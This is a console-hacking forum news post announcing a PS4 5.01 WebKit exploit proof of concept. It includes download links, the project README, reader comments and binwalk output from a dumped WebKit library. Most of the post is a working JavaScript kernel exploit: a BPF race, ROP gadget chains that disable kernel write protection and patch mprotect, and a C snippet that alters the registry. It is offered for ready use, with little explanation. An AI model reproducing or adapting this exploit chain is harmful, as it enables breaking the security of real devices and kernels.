Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS4 Jailbreaking       Thread starter PSXHAX       Start date Feb 27, 2018 at 3:26 AM       265      
Status
Not open for further replies.
Yesterday we saw the release of a PS4 4.55 Kernel Exploit, and today 73n1x69 shared a Github repository from ALEXZZZ9 (Twitter) of ax9.me for a PS4 5.01 WebKit Exploit PoC (Proof of Concept) with some additional details on what it could mean once PlayStation 4 developers examine it. :geek:

Download: PS4-5.01-WebKit-Exploit-PoC-master.zip / GIT / Demo via EdiTzZ of PS4.Editzz.net / Demo by AlFaMoDz / PS4 Breacher Demo (Same exploit, but Reskinned by Monstro)

While PS4 scene developers have a chance to look it over, thus far @Al Azif let us know in the PSXHAX Shoutbox that, to quote: "It successfully dumps libkernel and libSceWebKit2 ... but yeah it's real" while others are reporting that it also works on PS4 5.05 OFW and even PS4 5.50 Beta 3 (alongside another PS4 5.50 WebKit Exploit) so expect Sony to patch it shortly. :fire:

Here's some documentation from the README.md as well: PS4 5.01 WebKit Exploit PoC

Based on:
This exploit supports 5.01 (maybe others)!

Installation
  1. Install the latest version of node from nodejs.org
  2. Clone this repository
  3. Run npm install
Usage
  1. Run npm start
License

MIT License. See attached LICENSE.md file.
Test of Webkit Exploit on 5.05 Firmware
Working Webkit Exploit For All Firmwares on PS4 (Includes 5.01-5.05 & 5.50 Beta)
5.01 KEXP via Ghostbin.com:
Code:
   log("--- trying kernel exploit --");
   function malloc(sz)
   {
       var backing = new Uint8Array(0x10000+sz);
       window.nogc.push(backing);
       var ptr = p.read8(p.leakval(backing).add32(0x10));
       ptr.backing = backing;
       return ptr;
   }
   function malloc32(sz)
   {
       var backing = new Uint8Array(0x10000+sz*4);
       window.nogc.push(backing);
       var ptr = p.read8(p.leakval(backing).add32(0x10));
       ptr.backing = new Uint32Array(backing.buffer);
       return ptr;
   }
   var strcpy_helper = new Uint8Array(0x1000);
   var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
   function strcpy(ptr, str)
   {
       p.write8(where_writeptr_strcpy, ptr);
       for (var i = 0; i < str.length; i++)
           strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
       strcpy_helper[str.length] = 0;
   }
 
   var spawnthread = function(name, chain) {
   
       /*
   
   
        seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
        seg000:00000000007FA7D0 55                                      push    rbp
        seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
        seg000:00000000007FA7D4 41 56                                   push    r14
        seg000:00000000007FA7D6 53                                      push    rbx
        seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
        seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
        seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS"
   
   
        -> xref:
   
   
        seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
        seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
        seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
        seg000:00000000007F8395 31 F6                                   xor     esi, esi
        seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
        seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
        seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
        seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
   
        -> code:
   
        m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
   
   
        decodingWarning -> contains Missing PLTE before tRNS
   
        decodingFailed -> contains longjmp
   
        seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
        seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
        seg000:00000000007FA710 55                                      push    rbp
        seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
        seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
        seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
        seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
        seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
        seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
        seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
        seg000:00000000007FA732 0F 0B                                   ud2
        seg000:00000000007FA732                         sub_7FA710      endp
   
   
        */
       var longjmp = window.webKitBase.add32(0x14e8);
   
       // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
       /*
        seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController"
        seg000:00000000001DD186 31 F6                                   xor     esi, esi
        seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40
        */
   
       var createThread = window.webKitBase.add32(0x779190);
   
       var contextp = malloc32(0x2000);
       var contextz = contextp.backing;
       contextz[0] = 1337;
   
       var thread2 = new RopChain();
       thread2.push(window.gadgets["ret"]); // nop
       thread2.push(window.gadgets["ret"]); // nop
       thread2.push(window.gadgets["ret"]); // nop
       thread2.push(window.gadgets["ret"]); // nop
       chain(thread2);
   
       p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
       p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
   
       var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
   
       window.nogc.push(contextp);
       window.nogc.push(thread2);
   
       return retv;
   }

   var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
   var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
   if (fd == (-1 >>> 0))
   {
       print("kexp failed: no bpf0");
   }
 
   var assertcnt = 0;
   var assert = function(x)
   {
       assertcnt++;
       if (!x) throw "assertion " + assertcnt + " failed";
   }
 
   print("got it");
 
   var bpf_valid = malloc32(0x4000);
   var bpf_spray = malloc32(0x4000);
   var bpf_valid_u32 = bpf_valid.backing;
   var bpf_valid_prog = malloc(0x40);
   p.write8(bpf_valid_prog, 0x800/8)
   p.write8(bpf_valid_prog.add32(8), bpf_valid)
   var bpf_spray_prog = malloc(0x40);
   p.write8(bpf_spray_prog, 0x800/8)
   p.write8(bpf_spray_prog.add32(8), bpf_spray)
 
   for (var i = 0 ; i < 0x400; )
   {
       bpf_valid_u32[i++] = 6; // BPF_RET
       bpf_valid_u32[i++] = 0;
   }

   var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
   assert(rtv.low == 0);

   print("okay")
 

   var interrupt1, loop1;
   var interrupt2, loop2;
   var sock = p.syscall(97, 2, 2)
   var kscratch = malloc32(0x100);

   var start1 = spawnthread("GottaGoFast", function(thread2){
               interrupt1 = thread2.ropframeptr;
               thread2.push(window.gadgets["ret"]); // pop rdx
               thread2.push(window.gadgets["ret"]); // pop rdx
               thread2.push(window.gadgets["ret"]); // pop rdx

               thread2.push(window.gadgets["pop rdi"]); // pop rdi
               thread2.push(fd); // what
               thread2.push(window.gadgets["pop rsi"]); // pop rsi
               thread2.push(0x8010427B); // what
               thread2.push(window.gadgets["pop rdx"]); // pop rdx
               thread2.push(bpf_valid_prog); // what
               thread2.push(window.gadgets["pop rsp"]); // pop rdx
               thread2.push(thread2.ropframeptr.add32(0x800)); // what
               thread2.count = 0x100;
               var cntr = thread2.count;
               thread2.push(window.syscalls[54]); // ioctl
               thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl

               thread2.push(window.gadgets["pop rdi"]); // pop rdi
               var wherep = thread2.pushSymbolic(); // where
               thread2.push(window.gadgets["pop rsi"]); // pop rsi
               var whatp = thread2.pushSymbolic(); // where
               thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write

               thread2.push(window.gadgets["pop rsp"]); // pop rdx
           
               loop1 = thread2.ropframeptr.add32(thread2.count*8);
               thread2.push(0x41414141); // what

               thread2.finalizeSymbolic(wherep, loop1);
               thread2.finalizeSymbolic(whatp, loop1.sub32(8));

               })

   var krop = new RopChain();
   var race = new RopChain();
   var ctxp = malloc32(0x2000);
   var ctxp1 = malloc32(0x2000);

   p.write8(bpf_spray.add32(16), ctxp);

   var prefaultlist = [];
   function pfd(addr)
   {
       var page = addr.add32(0);
       page.low &= 0xffffc000;
       p.syscall("mlock", page, 0x8000);
       p.read4(addr);
       return addr;
   }
   function pf(addr){
       var page = addr.add32(0);
       page.low &= 0xffffc000;
       p.syscall("mlock", page, 0x8000);
       var ret = addr.add32(0);
       while (1)
       {
           var opcode = (p.read4(ret) & 0xff);
           if (opcode == 0xc3)
           {
               prefaultlist.push(ret);
               break;
           }
           ret.add32inplace(1);
       }
       return addr;
   }
   for (var gadgetname in gadgets) {
       if (gadgets.hasOwnProperty(gadgetname)) {
           if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue;
           pf(gadgets[gadgetname]);
       }
   }
/*
 67d27:    48 8b 07                 mov    (%rdi),%rax
 67d2a:    ff 50 58                 callq  *0x58(%rax)

 12a184d:    48 83 ec 58              sub    $0x58,%rsp
 12a1851:    89 55 d4                 mov    %edx,-0x2c(%rbp)
 12a1854:    49 89 fd                 mov    %rdi,%r13
 12a1857:    49 89 f7                 mov    %rsi,%r15
 12a185a:    49 8b 45 00              mov    0x0(%r13),%rax
 12a185e:    ff 90 d0 07 00 00        callq  *0x7d0(%rax)

 6ef2e5:    48 8b 7f 10              mov    0x10(%rdi),%rdi
 6ef2e9:    ff 20                    jmpq   *(%rax)

 2728a1:    48 8d 7d d8              lea    -0x28(%rbp),%rdi
 2728a5:    ff 50 40                 callq  *0x40(%rax)

 12846b4:    48 8b 77 08              mov    0x8(%rdi),%rsi
 12846b8:    48 8b 7f 18              mov    0x18(%rdi),%rdi
 12846bc:    48 8b 07                 mov    (%rdi),%rax
 12846bf:    ff 50 30                 callq  *0x30(%rax)

 15ca29b:    48 8b 97 b0 00 00 00     mov    0xb0(%rdi),%rdx
 15ca2a2:    ff 57 70                 callq  *0x70(%rdi)

 f094a:    48 89 e5                 mov    %rsp,%rbp
 f094d:    48 8b 07                 mov    (%rdi),%rax
 f0950:    ff 90 20 04 00 00        callq  *0x420(%rax)
*/
   var ctxp2 = malloc32(0x2000);

   var wk2apf = function(off)
   {
       var addr = window.webKitBase.add32(off);
       pf(addr);
       return addr;
   }

   p.write8(ctxp.add32(0x50), 0);
   p.write8(ctxp.add32(0x68), ctxp1);
   var stackshift_from_retaddr = 0;
   p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d));
   stackshift_from_retaddr += 8 + 0x58; // call + sub
   p.write8(ctxp.add32(0), ctxp2);
   p.write8(ctxp.add32(0x10), ctxp2.add32(8));

   p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))

   // rax = ctxp2, rdi = ctxp2 + 8
   var iterbase = ctxp2;
 
   for (var i=0; i<0xf; i++)
   {
       p.write8(iterbase, wk2apf(0x12a184d))
       stackshift_from_retaddr += 8 + 0x58; // call + sub
       // rax = ctxp2+0x20
       p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5))
       p.write8(iterbase.add32(8), iterbase.add32(0x20));
       p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8))
       iterbase = iterbase.add32(0x20);
   }

   var raxbase = iterbase;
   var rdibase = iterbase.add32(8);
   var memcpy = get_jmptgt(webKitBase.add32(0xf8));
   memcpy = p.read8(memcpy);
   pf(memcpy);
 
   p.write8(raxbase, wk2apf(0x15ca29b))
   stackshift_from_retaddr += 8; // call + sub
   p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget
   stackshift_from_retaddr += 8; // call + sub
   p.write8(rdibase.add32(0x18), rdibase); // rdi
   p.write8(rdibase.add32(8), krop.ropframeptr); // rax
   p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget
   p.write8(rdibase, raxbase);
   p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget
   p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog)
   var topofchain = stackshift_from_retaddr + 0x28 ;
   p.write8(rdibase.add32(0xb0), topofchain); // rdx
   for (var i = 0; i < 0x1000/8; i++)
   {
       p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]);
   }
   krop.count = 0x10;
   /*
    f094a:    48 89 e5                 mov    %rsp,%rbp
    f094d:    48 8b 07                 mov    (%rdi),%rax
    f0950:    ff 90 20 04 00 00        callq  *0x420(%rax)
 
    2728a1:    48 8d 7d d8              lea    -0x28(%rbp),%rdi
    2728a5:    ff 50 40                 callq  *0x40(%rax)
 
    55566f:    48 01 c7                 add    %rax,%rdi
    555672:    48 89 f8                 mov    %rdi,%rax
    555675:    c3                       retq
 
    46ef9:    48 8b 07                 mov    (%rdi),%rax
    46efc:    c3                       retq
 
    1520c6:    48 01 f0                 add    %rsi,%rax
    1520c9:    c3                       retq
 
    14536b:    48 89 07                 mov    %rax,(%rdi)
    14536e:    c3                       retq
 
    1570a1f:    48 21 f0                 and    %rsi,%rax
    1570a22:    c3                       retq
 
    353a71:    48 89 c2                 mov    %rax,%rdx
    353a74:    c3                       retq
 
    1cee60:    48 89 d0                 mov    %rdx,%rax
    1cee63:    c3                       retq
 
    15a3faf:    48 89 c7                 mov    %rax,%rdi
    15a3fb2:    c3                       retq
 
    6c83a:    48 8b 00                 mov    (%rax),%rax
    6c83d:    c3                       retq
 
    295dbe:    ff e7                    jmpq   *%rdi

    */
   p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]);
   p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]);
   p.write8(kscratch.add32(0x18), kscratch);

   function set_rdi_rbpoff() {
   krop.push(window.gadgets["pop rdi"]); // pop rdi
   krop.push(kscratch.add32(0x18)); // what
 
   krop.push(wk2apf(0xf094a)); // rbp = rsp
   var rbp_off = topofchain - krop.count*8 + 0x28;
   krop.push(wk2apf(0x2728a1)); // rbp = rsp
 
       return rbp_off;
   }
 
   function add_to_rdi(imm)
   {
       krop.push(window.gadgets["pop rax"]); // pop rdi
       krop.push(imm); // what
       krop.push(wk2apf(0x55566f)); // rbp = rsp

   }
 
   var rboff = set_rdi_rbpoff();
   add_to_rdi(rboff);
 
   var add_rax = function(imm)
   {
       krop.push(window.gadgets["pop rsi"]); // pop rsi
       krop.push(imm); // what
       krop.push(wk2apf(0x1520c6)); // add rsi to rax
   }

 
   krop.push(wk2apf(0x46ef9)); // deref rdi in rax
   add_rax(0x2fa); // what
   krop.push(wk2apf(0x14536b)); // write rax to rdi

   var shellbuf = malloc32(0x1000);
 
 
   var write_rax = function(addr)
   {
       krop.push(window.gadgets["pop rdi"]); // pop rdi
       krop.push(addr); // what
       krop.push(wk2apf(0x14536b)); // write rax to rdi
   }
 
   var load_rax = function(addr)
   {
       krop.push(window.gadgets["pop rax"]); // pop rax
       krop.push(addr); // what
       krop.push(wk2apf(0x6c83a)); // deref rax
   }
 
   var and_rax = function(imm)
   {
       krop.push(window.gadgets["pop rsi"]); // pop rdi
       krop.push(imm); // what
       krop.push(wk2apf(0x1570a1f)); // and rax to rdi
   }
 
   var rax_to_rdx = function()
   {
       krop.push(wk2apf(0x353a71)); // rax to rdx
   }
   var rdx_to_rax = function()
   {
       krop.push(wk2apf(0x1cee60)); // rdx to rax
   }
   var rax_to_rdi = function()
   {
       krop.push(wk2apf(0x15a3faf)); // rax to rdi
   }
   var write_to_rax64 = function(imm)
   {
       krop.push(window.gadgets["pop rsi"]); // pop rdi
       krop.push(imm); // what
       krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi
   }
   write_rax(kscratch); // save address in usermode
   add_rax(0xc54b4)
   write_rax(kscratch.add32(8)); // save address
   krop.push(wk2apf(0x82)); // jmp rax
   write_rax(kscratch.add32(16)); // save cr0
   and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit
   rax_to_rdx();
   load_rax(kscratch.add32(8))
   add_rax(9)
   rax_to_rdi();
   rdx_to_rax();
   krop.push(wk2apf(0x295dbe)); // jmp rdi
 
   /*
    Write Anywhere mode
    */
 
   load_rax(kscratch);
   add_rax(0x3609a);
   krop.push(wk2apf(0x6c83a)); // deref rax
   write_rax(kscratch.add32(0x330)); // rando offset lol

 
// put patches here. example is mprotect patch

   load_rax(kscratch);
   add_rax(0x3609a);
   write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect
 
 
   /*
    Disable Write Anywhere mode
    */

   load_rax(kscratch.add32(8))
   add_rax(9)
   rax_to_rdi();
   load_rax(kscratch.add32(16))
   krop.push(wk2apf(0x295dbe)); // jmp rdi

   krop.push(wk2apf(0x5cdb9));
   krop.push(kscratch.add32(0x1000));
Patches to allow Perm Browser on 5.01
Code:
#define KERNEL_REGMGR_SETINT 0x4F8940

uint64_t *(sceRegMgrSetInt)(uint32_t regId, int value) = NULL;
sceRegMgrSetInt = (void *)&ptrKernel[KERNEL_REGMGR_SETINT];
sceRegMgrSetInt(0x3C040000, 0, 0, 0, 0);
PS4 5.01 WebKit Exploit PoC (Proof of Concept) by ALEXZZZ9.jpg

PS4 5.01 WebKit Exploit PoC (Proof of Concept) by ALEXZZZ9 2.jpg

PS4 5.01 WebKit Exploit PoC (Proof of Concept) by ALEXZZZ9 3.jpg
 

Comments

Well part of me is grateful for this and another part of me thinks yeah, should have waited, Supersampling just went out the window lol!
 
finally we have webkit for 5.xx (i was on 4.70) and combined with recently release 4.55 kexploit. we can have 4.05+ jailbreak any moment if this continue. excited to play my ps2 games and some emulators on ps4. tnx dev.
 
  • @Al Azif Try dumping EVEN MORE with this command from the Windows WSL or Linux side! ;)
  • Do sudo apt-get install binwalk
  • then do binwalk -e libSceWebKit2.sprx
Code:
PS C:\Users\B7U3\Desktop\PS4 DUMPS!!> bash

root@magicleapfans:/mnt/c/Users/B7U3/Desktop/PS4 DUMPS!!# binwalk -e libSceWebKit2.sprx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
24624736      0x177BE60       HTML document header
24624904      0x177BF08       HTML document footer
24632230      0x177DBA6       HTML document header
24632343      0x177DC17       HTML document footer
24669956      0x1786F04       HTML document header
24669975      0x1786F17       HTML document footer
24670516      0x1787134       Unix path: /www.w3.org/tr/svg11/feature#
24696246      0x178D5B6       Copyright string: "Copyright (C) 2012 Google Inc. All rights reserved."
24696504      0x178D6B8       Copyright string: "copyright"
24696642      0x178D742       Copyright string: "copyright"
24697766      0x178DBA6       HTML document header
24713529      0x1791939       HTML document footer
24806064      0x17A82B0       Unix path: /www.w3.org/XML/1998/namespace
24806114      0x17A82E2       XML document, version: "1.0"
24808008      0x17A8A48       YAFFS filesystem
24813408      0x17A9F60       GIF image data, version "87a", 18176 x 17993
24813415      0x17A9F67       GIF image data, version "89a", 20048
24813422      0x17A9F6E       PNG image, 256 x 2, 0-bit grayscale,
24813628      0x17AA03C       GIF image data, version "89a", 18176 x 17993
24813635      0x17AA043       GIF image data, version "87a", 19968 x 21573
24911154      0x17C1D32       Unix path: /www.w3.org/1998/Math/MathML"; math { -webkit-line-box-contain: glyphs replaced; text-indent: 0; direction: ltr; } mtext { line-
25016375      0x17DB837       Unix path: /www.w3.org/1998/Math/MathML
25085630      0x17EC6BE       XML document, version: ""
25090275      0x17ED8E3       Unix path: /www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd
25548944      0x185D890       Base64 standard index table
25676400      0x187CA70       Base64 standard index table
25964649      0x18C3069       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
25964752      0x18C30D0       Copyright string: "copyright.html "
26248329      0x1908489       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
26248432      0x19084F0       Copyright string: "copyright.html "
26502777      0x1946679       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
26502880      0x19466E0       Copyright string: "copyright.html "
26535657      0x194E6E9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
26535760      0x194E750       Copyright string: "copyright.html "
27941580      0x1AA5ACC       Certificate in DER format (x509 v3), header length: 4, sequence length: 3072
28033234      0x1ABC0D2       Certificate in DER format (x509 v3), header length: 4, sequence length: 1536
28549369      0x1B3A0F9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
28549472      0x1B3A160       Copyright string: "copyright.html "
28994921      0x1BA6D69       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
28995024      0x1BA6DD0       Copyright string: "copyright.html "
29047033      0x1BB38F9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29047136      0x1BB3960       Copyright string: "copyright.html "
29161449      0x1BCF7E9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29161552      0x1BCF850       Copyright string: "copyright.html "
29280601      0x1BEC959       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29280704      0x1BEC9C0       Copyright string: "copyright.html "
29395529      0x1C08A49       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29395632      0x1C08AB0       Copyright string: "copyright.html "
29517881      0x1C26839       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29517984      0x1C268A0       Copyright string: "copyright.html "
29637609      0x1C43BE9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29637712      0x1C43C50       Copyright string: "copyright.html "
29752025      0x1C5FAD9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29752128      0x1C5FB40       Copyright string: "copyright.html "
29870025      0x1C7C7C9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29870128      0x1C7C830       Copyright string: "copyright.html "
29992745      0x1C9A729       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
29992848      0x1C9A790       Copyright string: "copyright.html "
30027913      0x1CA3089       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
30028016      0x1CA30F0       Copyright string: "copyright.html "
30063113      0x1CABA09       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
30063216      0x1CABA70       Copyright string: "copyright.html "
30189257      0x1CCA6C9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
30189360      0x1CCA730       Copyright string: "copyright.html "
30206729      0x1CCEB09       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
30206832      0x1CCEB70       Copyright string: "copyright.html "
30276137      0x1CDFA29       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
30276240      0x1CDFA90       Copyright string: "copyright.html "
30406633      0x1CFF7E9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
30406736      0x1CFF850       Copyright string: "copyright.html "
33501223      0x1FF3027       Unix path: /A/H/P/0
33894009      0x2052E79       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
33894112      0x2052EE0       Copyright string: "copyright.html "
34352891      0x20C2EFB       PARity archive data - file number 19792
36423897      0x22BC8D9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
36424000      0x22BC940       Copyright string: "copyright.html "
36554153      0x22DC5A9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
36554256      0x22DC610       Copyright string: "copyright.html "
36651433      0x22F41A9       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
36651536      0x22F4210       Copyright string: "copyright.html "
36920481      0x2335CA1       Unix path: /0/1/2/3/4/5/6/7/8/9/:/;/</=/>/?/@/A/B/C/D/E/F/G/H/I/J/K/L/M/N/O/P/Q/R/S/T/U/V/W/X/Y/Z/[/\/]/^/_/`/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o
37335913      0x239B369       Copyright string: "Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html "
37336016      0x239B3D0       Copyright string: "copyright.html "
37358207      0x23A0A7F       Unix path: /0/1/2/3/4/5/6/7/8/9/:/;/</=/>/?/@/A/B/C/D/E/F/G/H/I/J/K/L/M/N/O/P/Q/R/S/T/U/V/W/X/Y/Z/[/\/]/^/_/`/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o
37458386      0x23B91D2       Certificate in DER format (x509 v3), header length: 4, sequence length: 12673
37458390      0x23B91D6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12929
37458394      0x23B91DA       Certificate in DER format (x509 v3), header length: 4, sequence length: 13185
37458398      0x23B91DE       Certificate in DER format (x509 v3), header length: 4, sequence length: 13441
37458402      0x23B91E2       Certificate in DER format (x509 v3), header length: 4, sequence length: 13697
37458406      0x23B91E6       Certificate in DER format (x509 v3), header length: 4, sequence length: 13953
37458410      0x23B91EA       Certificate in DER format (x509 v3), header length: 4, sequence length: 14209
37458414      0x23B91EE       Certificate in DER format (x509 v3), header length: 4, sequence length: 14465
37458418      0x23B91F2       Certificate in DER format (x509 v3), header length: 4, sequence length: 14721
37458422      0x23B91F6       Certificate in DER format (x509 v3), header length: 4, sequence length: 12418
37458426      0x23B91FA       Certificate in DER format (x509 v3), header length: 4, sequence length: 12674
37458430      0x23B91FE       Certificate in DER format (x509 v3), header length: 4, sequence length: 12930
37458434      0x23B9202       Certificate in DER format (x509 v3), header length: 4, sequence length: 13186
37458438      0x23B9206       Certificate in DER format (x509 v3), header length: 4, sequence length: 13442
37458442      0x23B920A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13698
37458446      0x23B920E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13954
37458450      0x23B9212       Certificate in DER format (x509 v3), header length: 4, sequence length: 14210
37458454      0x23B9216       Certificate in DER format (x509 v3), header length: 4, sequence length: 14466
37458458      0x23B921A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14722
37458462      0x23B921E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12419
37458466      0x23B9222       Certificate in DER format (x509 v3), header length: 4, sequence length: 12675
37458470      0x23B9226       Certificate in DER format (x509 v3), header length: 4, sequence length: 12931
37458474      0x23B922A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13187
37458478      0x23B922E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13443
37458482      0x23B9232       Certificate in DER format (x509 v3), header length: 4, sequence length: 13699
37458486      0x23B9236       Certificate in DER format (x509 v3), header length: 4, sequence length: 13955
37458490      0x23B923A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14211
37458494      0x23B923E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14467
37458498      0x23B9242       Certificate in DER format (x509 v3), header length: 4, sequence length: 14723
37458502      0x23B9246       Certificate in DER format (x509 v3), header length: 4, sequence length: 12420
37458506      0x23B924A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12676
37458510      0x23B924E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12932
37458514      0x23B9252       Certificate in DER format (x509 v3), header length: 4, sequence length: 13188
37458518      0x23B9256       Certificate in DER format (x509 v3), header length: 4, sequence length: 13444
37458522      0x23B925A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13700
37458526      0x23B925E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13956
37458530      0x23B9262       Certificate in DER format (x509 v3), header length: 4, sequence length: 14212
37458534      0x23B9266       Certificate in DER format (x509 v3), header length: 4, sequence length: 14468
37458538      0x23B926A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14724
37458542      0x23B926E       Certificate in DER format (x509 v3), header length: 4, sequence length: 12421
37458546      0x23B9272       Certificate in DER format (x509 v3), header length: 4, sequence length: 12677
37458550      0x23B9276       Certificate in DER format (x509 v3), header length: 4, sequence length: 12933
37458554      0x23B927A       Certificate in DER format (x509 v3), header length: 4, sequence length: 13189
37458558      0x23B927E       Certificate in DER format (x509 v3), header length: 4, sequence length: 13445
37458562      0x23B9282       Certificate in DER format (x509 v3), header length: 4, sequence length: 13701
37458566      0x23B9286       Certificate in DER format (x509 v3), header length: 4, sequence length: 13957
37458570      0x23B928A       Certificate in DER format (x509 v3), header length: 4, sequence length: 14213
37458574      0x23B928E       Certificate in DER format (x509 v3), header length: 4, sequence length: 14469
37458578      0x23B9292       Certificate in DER format (x509 v3), header length: 4, sequence length: 14725
37458582      0x23B9296       Certificate in DER format (x509 v3), header length: 4, sequence length: 12422
37458586      0x23B929A       Certificate in DER format (x509 v3), header length: 4, sequence length: 12678
